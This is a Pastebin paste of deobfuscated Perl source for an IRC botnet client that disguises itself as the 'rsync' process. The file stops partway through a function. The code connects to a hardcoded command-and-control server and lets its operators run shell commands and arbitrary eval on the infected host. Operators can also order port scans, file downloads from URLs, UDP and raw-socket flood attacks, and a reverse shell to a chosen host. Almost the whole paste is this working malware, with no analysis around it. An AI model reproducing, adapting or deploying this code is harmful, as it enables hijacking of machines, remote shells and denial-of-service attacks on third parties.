Advertisement
Guest User

Untitled

a guest
May 16th, 2019
1,155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 26.33 KB | None | 0 0
  1. #Codigo de rsync deofuscado.
  2.  
  3. my $processo = 'rsync';
  4.  
  5. $servidor='146.185.171.227' unless $servidor;
  6. my $porta='443';
  7. my @canais=("#007");
  8. my @adms=("A","X");
  9. my @auth=("localhost");
  10.  
  11. my $linas_max=6;
  12. my $sleep=3;
  13.  
  14. my $nick = getnick();
  15. my $ircname = getnick();
  16. my $realname = (`uname -a`);
  17.  
  18. my $acessoshell = 1;
  19. my $prefixo = "! ";
  20. my $estatisticas = 0;
  21. my $pacotes = 1;
  22.  
  23. my $VERSAO = '0.2a';
  24.  
  25. $SIG{'INT'} = 'IGNORE';
  26. $SIG{'HUP'} = 'IGNORE';
  27. $SIG{'TERM'} = 'IGNORE';
  28. $SIG{'CHLD'} = 'IGNORE';
  29. $SIG{'PS'} = 'IGNORE';
  30.  
  31. use IO::Socket;
  32. use Socket;
  33. use IO::Select;
  34. chdir("/");
  35. $servidor="$ARGV[0]" if $ARGV[0];
  36. $0="$processo"."\0";
  37. my $pid=fork;
  38. exit if $pid;
  39. die "Problema com o fork: $!" unless defined($pid);
  40.  
  41. my %irc_servers;
  42. my %DCC;
  43. my $dcc_sel = new IO::Select->new();
  44.  
  45.  
  46.  
  47.  
  48. sub getnick {
  49.   return "x".int(rand(9000));
  50. }
  51.  
  52.  
  53. sub getident {
  54.   my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  55.   my $identchance = int(rand(1000));
  56.   if ($identchance > 30) {
  57.      return $nick;
  58.   } else {
  59.      return $retornoident;
  60.   }
  61.   return $retornoident;
  62. }
  63.  
  64. sub getname {
  65.   my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  66.   return $retornoname;
  67. }
  68.  
  69. sub getident2 {
  70.         my $length=shift;
  71.         $length = 3 if ($length < 3);
  72.  
  73.         my @chars=('a'..'z','A'..'Z','1'..'9');
  74.         foreach (1..$length)
  75.         {
  76.                 $randomstring.=$chars[rand @chars];
  77.         }
  78.         return $randomstring;
  79. }
  80.  
  81. sub getstore ($$)
  82. {
  83.   my $url = shift;
  84.   my $file = shift;
  85.  
  86.   $http_stream_out = 1;
  87.   open(GET_OUTFILE, "> $file");
  88.   %http_loop_check = ();
  89.   _get($url);
  90.   close GET_OUTFILE;
  91.   return $main::http_get_result;
  92. }
  93.  
  94. sub _get
  95. {
  96.   my $url = shift;
  97.   my $proxy = "";
  98.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  99.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  100.     my $host = $1;
  101.     my $port = $2 || 80;
  102.     my $path = $3;
  103.     $path = "/" unless defined($path);
  104.     return _trivial_http_get($host, $port, $path);
  105.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  106.     my $host = $1;
  107.     my $port = $2;
  108.     my $path = $url;
  109.     return _trivial_http_get($host, $port, $path);
  110.   } else {
  111.     return undef;
  112.   }
  113. }
  114.  
  115.  
  116. sub _trivial_http_get
  117. {
  118.   my($host, $port, $path) = @_;
  119.   my($AGENT, $VERSION, $p);
  120.  
  121.   $AGENT = "get-minimal";
  122.   $VERSION = "20000118";
  123.  
  124.   $path =~ s/ /%20/g;
  125.  
  126.   require IO::Socket;
  127.   local($^W) = 0;
  128.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  129.                                    PeerPort => $port,
  130.                                    Proto   => 'tcp',
  131.                                    Timeout  => 60) || return;
  132.   $sock->autoflush;
  133.   my $netloc = $host;
  134.   $netloc .= ":$port" if $port != 80;
  135.   my $request = "GET $path HTTP/1.0\015\012"
  136.               . "Host: $netloc\015\012"
  137.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  138.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  139.   $request .= "\015\012";
  140.   print $sock $request;
  141.  
  142.   my $buf = "";
  143.   my $n;
  144.   my $b1 = "";
  145.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  146.     if ($b1 eq "") {
  147.       $b1 = $buf;        
  148.       $buf =~ s/.+?\015?\012\015?\012//s;      
  149.     }
  150.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  151.   }
  152.   return undef unless defined($n);
  153.  
  154.   $main::http_get_result = 200;
  155.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  156.     $main::http_get_result = $1;
  157.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  158. ) {
  159.       my $url = $1;
  160.       return undef if $http_loop_check{$url}++;
  161.       return _get($url);
  162.     }
  163.     return undef unless $main::http_get_result =~ /^2/;
  164.   }
  165.  
  166.   return $buf;
  167. }
  168.  
  169.  
  170. $sel_cliente = IO::Select->new();
  171. sub sendraw {
  172.   if ($#_ == '1') {
  173.     my $socket = $_[0];
  174.     print $socket "$_[1]\n";
  175.   } else {
  176.       print $IRC_cur_socket "$_[0]\n";
  177.   }
  178. }
  179.  
  180. sub conectar {
  181.    my $meunick = $_[0];
  182.    my $servidor_con = $_[1];
  183.    my $porta_con = $_[2];
  184.  
  185.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  186.    if (defined($IRC_socket)) {
  187.      $IRC_cur_socket = $IRC_socket;
  188.  
  189.      $IRC_socket->autoflush(1);
  190.      $sel_cliente->add($IRC_socket);
  191.  
  192.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  193.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  194.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  195.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  196.      nick("$meunick");
  197.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  198.      sleep 2;
  199.    }
  200.  
  201. }
  202. my $line_temp;
  203. while( 1 ) {
  204.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  205.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  206.    &DCC::connections;
  207.    my @ready = $sel_cliente->can_read(0.6);
  208.    next unless(@ready);
  209.    foreach $fh (@ready) {
  210.      $IRC_cur_socket = $fh;
  211.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  212.      $nread = sysread($fh, $msg, 4096);
  213.      if ($nread == 0) {
  214.         $sel_cliente->remove($fh);
  215.         $fh->close;
  216.         delete($irc_servers{$fh});
  217.      }
  218.      @lines = split (/\n/, $msg);
  219.  
  220.      for(my $c=0; $c<= $#lines; $c++) {
  221.        $line = $lines[$c];
  222.        $line=$line_temp.$line if ($line_temp);
  223.        $line_temp='';
  224.        $line =~ s/\r$//;
  225.        unless ($c == $#lines) {
  226.          parse("$line");
  227.        } else {
  228.            if ($#lines == 0) {
  229.              parse("$line");
  230.            } elsif ($lines[$c] =~ /\r$/) {
  231.                parse("$line");
  232.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  233.                parse("$line");
  234.            } else {
  235.                $line_temp = $line;
  236.            }
  237.        }
  238.       }
  239.    }
  240. }
  241.  
  242. sub parse {
  243.    my $servarg = shift;
  244.    if ($servarg =~ /^PING \:(.*)/) {
  245.      sendraw("PONG :$1");
  246.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  247.        my $pn=$1; my $onde = $4; my $args = $5;
  248.        if ($args =~ /^\001VERSION\001$/) {
  249.          notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
  250.        }
  251.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  252.          notice("$pn", "\001PONG\001");
  253.        }
  254.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  255.          if ($onde eq "$meunick"){
  256.            shell("$pn", "$args");
  257.            }
  258.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  259.             my $natrix = $1;
  260.             my $arg = $2;
  261.             if ($arg =~ /^\!(.*)/) {
  262.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  263.             } elsif ($arg =~ /^\@(.*)/) {
  264.                 $ondep = $onde;
  265.                 $ondep = $pn if $onde eq $meunick;
  266.                 bfunc("$ondep","$1");
  267.             } else {
  268.                 shell("$onde", "$arg");
  269.             }
  270.          }
  271.        }
  272.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  273.        if (lc($1) eq lc($meunick)) {
  274.          $meunick=$4;
  275.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  276.        }
  277.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  278.        $meunick = getnick();
  279.        nick("$meunick");
  280.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  281.        $meunick = $2;
  282.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  283.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  284.        foreach my $canal (@canais) {
  285.          sendraw("JOIN $canal");
  286.        }
  287.    }
  288. }
  289.  
  290. sub bfunc {
  291.   my $printl = $_[0];
  292.   my $funcarg = $_[1];
  293.   if (my $pid = fork) {
  294.      waitpid($pid, 0);
  295.   } else {
  296.       if (fork) {
  297.          exit;
  298.        } else {
  299.            if ($funcarg =~ /^portscan (.*)/) {
  300.              my $hostip="$1";
  301.              my @portas=("21","22","23","25","53","80","110","143","6665");
  302.              my (@aberta, %porta_banner);
  303.              foreach my $porta (@portas)  {
  304.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  305.                 if ($scansock) {
  306.                    push (@aberta, $porta);
  307.                    $scansock->close;
  308.                 }
  309.              }
  310.              if (@aberta) {
  311.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  312.              } else {
  313.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  314.              }
  315.            }
  316.  
  317.            elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  318.             getstore("$1", "$2");
  319.             sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
  320.             }
  321.  
  322.            elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  323.              my $hostname="$1";
  324.              my $portainicial = "$2";
  325.              my $portafinal = "$3";
  326.              my (@abertas, %porta_banner);
  327.              foreach my $porta ($portainicial..$portafinal)
  328.              {
  329.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  330.                if ($scansock) {
  331.                  push (@abertas, $porta);
  332.                  $scansock->close;
  333.                  if ($estatisticas) {
  334.                    sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  335.                  }
  336.                }
  337.              }
  338.              if (@abertas) {
  339.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  340.              } else {
  341.                sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  342.              }
  343.             }
  344.  
  345.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  346.               return unless $pacotes;
  347.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  348.               my $alvo=inet_aton("$1");
  349.               my $porta = "$2";
  350.               my $tempo = "$3";
  351.               my $pacote;
  352.               my $pacotese;
  353.               my $fim = time + $tempo;
  354.               my $pacota = 1;
  355.               while (($pacota == "1") && ($pacotes == "1")) {
  356.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  357.                 $pacote=$rand x $rand x $rand;
  358.                 $porta = int(rand 65000) +1 if ($porta == "0");
  359.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  360.               }
  361.               if ($estatisticas)
  362.               {
  363.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  364.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  365.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
  366.               }
  367.             }
  368.  
  369.             elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  370.               return unless $pacotes;
  371.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  372.               my $faixaip="$1";
  373.               my $porta = "$2";
  374.               my $tempo = "$3";
  375.               my $pacote;
  376.               my $pacotes;
  377.               my $fim = time + $tempo;
  378.               my $pacota = 1;
  379.               my $alvo;
  380.               while ($pacota == "1") {
  381.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  382.                 for (my $faixa = 1; $faixa <= 255; $faixa++) {
  383.                   $alvo = inet_aton("$faixaip.$faixa");
  384.                   $pacote=$rand x $rand x $rand;
  385.                   $porta = int(rand 65000) +1 if ($porta == "0");
  386.                   send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  387.                   if ($faixa >= 255) {
  388.                     $faixa = 1;
  389.                   }
  390.                 }
  391.               }
  392.               if ($estatisticas)
  393.               {
  394.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  395.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  396.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
  397.               }
  398.             }
  399.  
  400.             elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  401.               my $host = "$1";
  402.               my $porta = "$2";
  403.               my $proto = getprotobyname('tcp');
  404.               my $iaddr = inet_aton($host);
  405.               my $paddr = sockaddr_in($porta, $iaddr);
  406.               my $shell = "/bin/sh -i";
  407.               if ($^O eq "MSWin32") {
  408.                 $shell = "cmd.exe";
  409.               }
  410.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  411.               connect(SOCKET, $paddr) or die "connect: $!";
  412.               open(STDIN, ">&SOCKET");
  413.               open(STDOUT, ">&SOCKET");
  414.               open(STDERR, ">&SOCKET");
  415.               system("$shell");
  416.               close(STDIN);
  417.               close(STDOUT);
  418.               close(STDERR);
  419.  
  420.               if ($estatisticas)
  421.               {
  422.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  423.               }
  424.             }
  425.  
  426.            elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  427.             return unless $pacotes;
  428.              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  429.              $dtime = 1 if $dtime == 0;
  430.              my %bytes;
  431.              $bytes{igmp} = $2 * $pacotes{igmp};
  432.              $bytes{icmp} = $2 * $pacotes{icmp};
  433.              $bytes{o} = $2 * $pacotes{o};
  434.              $bytes{udp} = $2 * $pacotes{udp};
  435.              $bytes{tcp} = $2 * $pacotes{tcp};
  436.              unless ($estatisticas)
  437.              {
  438.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
  439.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
  440.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
  441.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  442.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  443.              }
  444.            }
  445.            exit;
  446.        }
  447.   }
  448. }
  449.  
  450. sub ircase {
  451.   my ($kem, $printl, $case) = @_;
  452.  
  453.    if ($case =~ /^join (.*)/) {
  454.      j("$1");
  455.    }
  456.    elsif ($case =~ /^part (.*)/) {
  457.       p("$1");
  458.    }
  459.    elsif ($case =~ /^rejoin\s+(.*)/) {
  460.       my $chan = $1;
  461.       if ($chan =~ /^(\d+) (.*)/) {
  462.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  463.           p("$2");
  464.           j("$2");
  465.         }
  466.       } else {
  467.           p("$chan");
  468.           j("$chan");
  469.       }
  470.    }
  471.    elsif ($case =~ /^op/) {
  472.       op("$printl", "$kem") if $case eq "op";
  473.       my $oarg = substr($case, 3);
  474.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  475.    }
  476.    elsif ($case =~ /^deop/) {
  477.       deop("$printl", "$kem") if $case eq "deop";
  478.       my $oarg = substr($case, 5);
  479.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  480.    }
  481.    elsif ($case =~ /^voice/) {
  482.       voice("$printl", "$kem") if $case eq "voice";
  483.       $oarg = substr($case, 6);
  484.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  485.    }
  486.    elsif ($case =~ /^devoice/) {
  487.       devoice("$printl", "$kem") if $case eq "devoice";
  488.       $oarg = substr($case, 8);
  489.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  490.    }
  491.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  492.       msg("$1", "$2");
  493.    }
  494.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  495.       for (my $cf = 1; $cf <= $1; $cf++) {
  496.         msg("$2", "$3");
  497.       }
  498.    }
  499.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  500.       for (my $cf = 1; $cf <= $1; $cf++) {
  501.         ctcp("$2", "$3");
  502.       }
  503.    }
  504.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  505.       ctcp("$1", "$2");
  506.    }
  507.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  508.       invite("$1", "$2");
  509.    }
  510.    elsif ($case =~ /^nick (.*)/) {
  511.       nick("$1");
  512.    }
  513.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  514.        conectar("$2", "$1", 6667);
  515.    }
  516.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  517.       DCC::SEND("$1", "$2");
  518.    }
  519.    elsif ($case =~ /^raw (.*)/) {
  520.       sendraw("$1");
  521.    }
  522.    elsif ($case =~ /^eval (.*)/) {
  523.       eval "$1";
  524.    }
  525.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  526.     sleep int(rand($2));
  527.     j("$1");
  528.    }
  529.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  530.     sleep int(rand($2));
  531.     p("$1");
  532.    }
  533.    elsif ($case =~ /^sair/) {
  534.      quit();
  535.    }
  536.    elsif ($case =~ /^novonick/) {
  537.     my $novonick = getnick();
  538.      nick("$novonick");
  539.    }
  540.    elsif ($case =~ /^estatisticas (.*)/) {
  541.      if ($1 eq "on") {
  542.       $estatisticas = 1;
  543.       msg("$printl", "Estat.sticas ativadas!");
  544.      } elsif ($1 eq "off") {
  545.       $estatisticas = 0;
  546.       msg("$printl", "Estat.sticas desativadas!");
  547.      }
  548.    }
  549.    elsif ($case =~ /^pacotes (.*)/) {
  550.      if ($1 eq "on") {
  551.       $pacotes = 1;
  552.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  553.      } elsif ($1 eq "off") {
  554.       $pacotes = 0;
  555.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  556.      }
  557.    }
  558. }
  559. sub shell {
  560.   return unless $acessoshell;
  561.   my $printl=$_[0];
  562.   my $comando=$_[1];
  563.   if ($comando =~ /cd (.*)/) {
  564.     chdir("$1") || msg("$printl", "Diret.rio inexistente!");
  565.     return;
  566.   }
  567.   elsif ($pid = fork) {
  568.      waitpid($pid, 0);
  569.   } else {
  570.       if (fork) {
  571.          exit;
  572.        } else {
  573.            my @resp=`$comando 2>&1 3>&1`;
  574.            my $c=0;
  575.            foreach my $linha (@resp) {
  576.              $c++;
  577.              chop $linha;
  578.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  579.              if ($c >= "$linas_max") {
  580.                $c=0;
  581.                sleep $sleep;
  582.              }
  583.            }
  584.            exit;
  585.        }
  586.   }
  587. }
  588.  
  589. sub attacker {
  590.   my $iaddr = inet_aton($_[0]);
  591.   my $msg = 'B' x $_[1];
  592.   my $ftime = $_[2];
  593.   my $cp = 0;
  594.   my (%pacotes);
  595.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  596.  
  597.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  598.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  599.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  600.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  601.   return(undef) if $cp == 4;
  602.   my $itime = time;
  603.   my ($cur_time);
  604.   while ( 1 ) {
  605.      for (my $porta = 1; $porta <= 65535; $porta++) {
  606.        $cur_time = time - $itime;
  607.        last if $cur_time >= $ftime;
  608.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  609.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  610.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  611.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  612.  
  613.        for (my $pc = 3; $pc <= 255;$pc++) {
  614.          next if $pc == 6;
  615.          $cur_time = time - $itime;
  616.          last if $cur_time >= $ftime;
  617.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  618.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  619.        }
  620.      }
  621.      last if $cur_time >= $ftime;
  622.   }
  623.   return($cur_time, %pacotes);
  624. }
  625.  
  626.  
  627. sub action {
  628.    return unless $#_ == 1;
  629.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  630. }
  631.  
  632. sub ctcp {
  633.    return unless $#_ == 1;
  634.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  635. }
  636. sub msg {
  637.    return unless $#_ == 1;
  638.    sendraw("PRIVMSG $_[0] :$_[1]");
  639. }
  640.  
  641. sub notice {
  642.    return unless $#_ == 1;
  643.    sendraw("NOTICE $_[0] :$_[1]");
  644. }
  645.  
  646. sub op {
  647.    return unless $#_ == 1;
  648.    sendraw("MODE $_[0] +o $_[1]");
  649. }
  650. sub deop {
  651.    return unless $#_ == 1;
  652.    sendraw("MODE $_[0] -o $_[1]");
  653. }
  654. sub hop {
  655.     return unless $#_ == 1;
  656.    sendraw("MODE $_[0] +h $_[1]");
  657. }
  658. sub dehop {
  659.    return unless $#_ == 1;
  660.    sendraw("MODE $_[0] +h $_[1]");
  661. }
  662. sub voice {
  663.    return unless $#_ == 1;
  664.    sendraw("MODE $_[0] +v $_[1]");
  665. }
  666. sub devoice {
  667.    return unless $#_ == 1;
  668.    sendraw("MODE $_[0] -v $_[1]");
  669. }
  670. sub ban {
  671.    return unless $#_ == 1;
  672.    sendraw("MODE $_[0] +b $_[1]");
  673. }
  674. sub unban {
  675.    return unless $#_ == 1;
  676.    sendraw("MODE $_[0] -b $_[1]");
  677. }
  678. sub kick {
  679.    return unless $#_ == 1;
  680.    sendraw("KICK $_[0] $_[1] :$_[2]");
  681. }
  682.  
  683. sub modo {
  684.    return unless $#_ == 0;
  685.    sendraw("MODE $_[0] $_[1]");
  686. }
  687. sub mode { modo(@_); }
  688.  
  689. sub j { &join(@_); }
  690. sub join {
  691.    return unless $#_ == 0;
  692.    sendraw("JOIN $_[0]");
  693. }
  694. sub p { part(@_); }
  695. sub part {sendraw("PART $_[0]");}
  696.  
  697. sub nick {
  698.   return unless $#_ == 0;
  699.   sendraw("NICK $_[0]");
  700. }
  701.  
  702. sub invite {
  703.    return unless $#_ == 1;
  704.    sendraw("INVITE $_[1] $_[0]");
  705. }
  706. sub topico {
  707.    return unless $#_ == 1;
  708.    sendraw("TOPIC $_[0] $_[1]");
  709. }
  710. sub topic { topico(@_); }
  711.  
  712. sub whois {
  713.   return unless $#_ == 0;
  714.   sendraw("WHOIS $_[0]");
  715. }
  716. sub who {
  717.   return unless $#_ == 0;
  718.   sendraw("WHO $_[0]");
  719. }
  720. sub names {
  721.   return unless $#_ == 0;
  722.   sendraw("NAMES $_[0]");
  723. }
  724. sub away {
  725.   sendraw("AWAY $_[0]");
  726. }
  727. sub back { away(); }
  728. sub quit {
  729.   sendraw("QUIT :$_[0]");
  730.   exit;
  731. }
  732.  
  733. package DCC;
  734.  
  735. sub connections {
  736.    my @ready = $dcc_sel->can_read(1);
  737.    foreach my $fh (@ready) {
  738.      my $dcctipo = $DCC{$fh}{tipo};
  739.      my $arquivo = $DCC{$fh}{arquivo};
  740.      my $bytes = $DCC{$fh}{bytes};
  741.      my $cur_byte = $DCC{$fh}{curbyte};
  742.      my $nick = $DCC{$fh}{nick};
  743.  
  744.      my $msg;
  745.      my $nread = sysread($fh, $msg, 10240);
  746.  
  747.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
  748.         $DCC{$fh}{status} = "Cancelado";
  749.         $DCC{$fh}{ftime} = time;
  750.         $dcc_sel->remove($fh);
  751.         $fh->close;
  752.         next;
  753.      }
  754.  
  755.      if ($dcctipo eq "get") {
  756.         $DCC{$fh}{curbyte} += length($msg);
  757.  
  758.         my $cur_byte = $DCC{$fh}{curbyte};
  759.  
  760.         open(FILE, ">> $arquivo");
  761.         print FILE "$msg" if ($cur_byte <= $bytes);
  762.         close(FILE);
  763.  
  764.         my $packbyte = pack("N", $cur_byte);
  765.         print $fh "$packbyte";
  766.  
  767.         if ($bytes == $cur_byte) {
  768.            $dcc_sel->remove($fh);
  769.            $fh->close;
  770.            $DCC{$fh}{status} = "Recebido";
  771.            $DCC{$fh}{ftime} = time;
  772.            next;
  773.         }
  774.      } elsif ($dcctipo eq "send") {
  775.           my $send = $fh->accept;
  776.           $send->autoflush(1);
  777.           $dcc_sel->add($send);
  778.           $dcc_sel->remove($fh);
  779.           $DCC{$send}{tipo} = 'sendcon';
  780.           $DCC{$send}{itime} = time;
  781.           $DCC{$send}{nick} = $nick;
  782.           $DCC{$send}{bytes} = $bytes;
  783.           $DCC{$send}{curbyte} = 0;
  784.           $DCC{$send}{arquivo} = $arquivo;
  785.           $DCC{$send}{ip} = $send->peerhost;
  786.           $DCC{$send}{porta} = $send->peerport;
  787.           $DCC{$send}{status} = "Enviando";
  788.  
  789.           open(FILE, "< $arquivo");
  790.           my $fbytes;
  791.           read(FILE, $fbytes, 1024);
  792.           print $send "$fbytes";
  793.           close FILE;
  794.      } elsif ($dcctipo eq 'sendcon') {
  795.           my $bytes_sended = unpack("N", $msg);
  796.           $DCC{$fh}{curbyte} = $bytes_sended;
  797.           if ($bytes_sended == $bytes) {
  798.              $fh->close;
  799.              $dcc_sel->remove($fh);
  800.              $DCC{$fh}{status} = "Enviado";
  801.              $DCC{$fh}{ftime} = time;
  802.              next;
  803.           }
  804.           open(SENDFILE, "< $arquivo");
  805.           seek(SENDFILE, $bytes_sended, 0);
  806.           my $send_bytes;
  807.           read(SENDFILE, $send_bytes, 1024);
  808.           print $fh "$send_bytes";
  809.           close(SENDFILE);
  810.      }
  811.    }
  812. }
  813.  
  814.  
  815. sub SEND {
  816.   my ($nick, $arquivo) = @_;
  817.   unless (-r "$arquivo") {
  818.     return(0);
  819.   }
  820.  
  821.   my $dccark = $arquivo;
  822.   $dccark =~ s/[.*\/](\S+)/$1/;
  823.  
  824.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  825.   my $longip = unpack("N",inet_aton($meuip));
  826.  
  827.   my @filestat = stat($arquivo);
  828.   my $size_total=$filestat[7];
  829.   if ($size_total == 0) {
  830.      return(0);
  831.   }
  832.  
  833.   my ($porta, $sendsock);
  834.   do {
  835.     $porta = int rand(64511);
  836.     $porta += 1024;
  837.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  838.   } until $sendsock;
  839.  
  840.   $DCC{$sendsock}{tipo} = 'send';
  841.   $DCC{$sendsock}{nick} = $nick;
  842.   $DCC{$sendsock}{bytes} = $size_total;
  843.   $DCC{$sendsock}{arquivo} = $arquivo;
  844.  
  845.  
  846.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  847.  
  848. }
  849.  
  850. sub GET {
  851.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  852.   return(0) if (-e "$arquivo");
  853.   if (open(FILE, "> $arquivo")) {
  854.      close FILE;
  855.   } else {
  856.     return(0);
  857.   }
  858.  
  859.   my $dccip=fixaddr($dcclongip);
